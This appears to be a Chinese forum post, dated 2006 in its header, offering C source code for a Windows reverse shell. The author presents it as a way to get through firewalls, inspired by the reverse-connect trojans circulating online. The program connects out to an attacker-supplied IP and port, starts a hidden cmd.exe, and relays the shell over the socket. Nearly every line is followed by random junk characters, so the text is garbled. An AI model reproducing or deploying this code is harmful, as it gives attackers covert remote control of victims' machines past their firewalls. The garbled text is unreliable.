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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 _ \v@9Q\  
Jc"$p\ $-  
/* ============================== 11@2;vw  
Rebound port in Windows NT LjH&f 4mY  
By wind,2006/7  $D, wO  
===============================*/ FkxhEat8  
#include TReM8Vd  
#include Z_^Kl76D  
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#pragma comment(lib,"wsock32.lib") \MFWK#W  
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void OutputShell(); } ^GV(]K  
SOCKET sClient; $5Y^fwIK  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }eDX8b8emA  
\HP,LH[P:  
void main(int argc,char **argv) xXY)KI N[  
{ c&Su d, &  
WSADATA stWsaData; D $CY:@  
int nRet; YCB 3  
SOCKADDR_IN stSaiClient,stSaiServer; wsb=[$C  
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if(argc != 3) bKt3x+x(  
{ vVAZSR#  
printf("Useage:\n\rRebound DestIP DestPort\n"); m[xf./@f{  
return; ZoNNM4M+  
} QkCoW[sn  
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WSAStartup(MAKEWORD(2,2),&stWsaData); &;@b&p+  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )ejXeg  
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stSaiClient.sin_family = AF_INET; VQ,\O  
stSaiClient.sin_port = htons(0); WEV{C(u<k!  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); K}5 $;W#  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) s!o<Pd yJK  
{ X$9D0;L  
printf("Bind Socket Failed!\n"); E~Up\f  
return; aIt 0;D  
} "za*$DU  
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stSaiServer.sin_family = AF_INET; #Mem2cz  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); gH{\y5%rO  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); [>Kxm  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 4qSS<SqY  
{ qYu!:xa8  
printf("Connect Error!"); C@?e`=9(  
return; %`T^qh_dE  
} *(SBl}f4l  
OutputShell(); A$"$`)P!  
} #u=O 5%.  
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void OutputShell() fN*4(yw  
{ ubCJZ"!  
char szBuff[1024]; k#=leu"I  
SECURITY_ATTRIBUTES stSecurityAttributes; 7quwc'!  
OSVERSIONINFO stOsversionInfo; r+#V{oE_  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; = cI\OsV&?  
STARTUPINFO stStartupInfo; Y`O}]*{>8R  
char *szShell; 1\608~ZH  
PROCESS_INFORMATION stProcessInformation; k}0  
unsigned long lBytesRead; ={i&F  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ,cO)Sxj  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 2|NyAtPb5  
stSecurityAttributes.lpSecurityDescriptor = 0; QsF<=b~  
stSecurityAttributes.bInheritHandle = TRUE; 36Z`.E>~L  
^nm!NL{z^  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); owY_cDzrH  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \7tvNa,C  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); U#1yl6e\I  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &lfF!   
stStartupInfo.wShowWindow = SW_HIDE; Pymh^i  
stStartupInfo.hStdInput = hReadPipe; Y)5uK:)^  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; nPIR 1Z  
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GetVersionEx(&stOsversionInfo); ]jY)M<:J4  
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switch(stOsversionInfo.dwPlatformId) |b;M5w?  
{ 6C51:XQO  
case 1: oD}FJvV  
szShell = "command.com"; j83Y'VJJC  
break; =$zr t  
default: A`/7>'k/q[  
szShell = "cmd.exe"; BMj&*p8R  
break; 8}0y)aJ  
} awW\$Q  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); yhn $4;m  
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send(sClient,szMsg,77,0); d\Z4?@T<5  
while(1) lR K ?%~  
{ sF3 l##Wv  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); PWD]qtr  
if(lBytesRead) l3|>*szX  
{ MmX[xk  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); R]s jG <  
send(sClient,szBuff,lBytesRead,0); GQ)cUrXQz  
} m)RxV@  
else b2f2WY |z>  
{ d@4=XSj  
lBytesRead=recv(sClient,szBuff,1024,0); Fl>j5[kLZ  
if(lBytesRead<=0) break; ,F9wc<V8  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); p[VCt" j  
} ^[z\KmUqt  
} )3\rp$]1  
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return; &ziB#(&:H  
}
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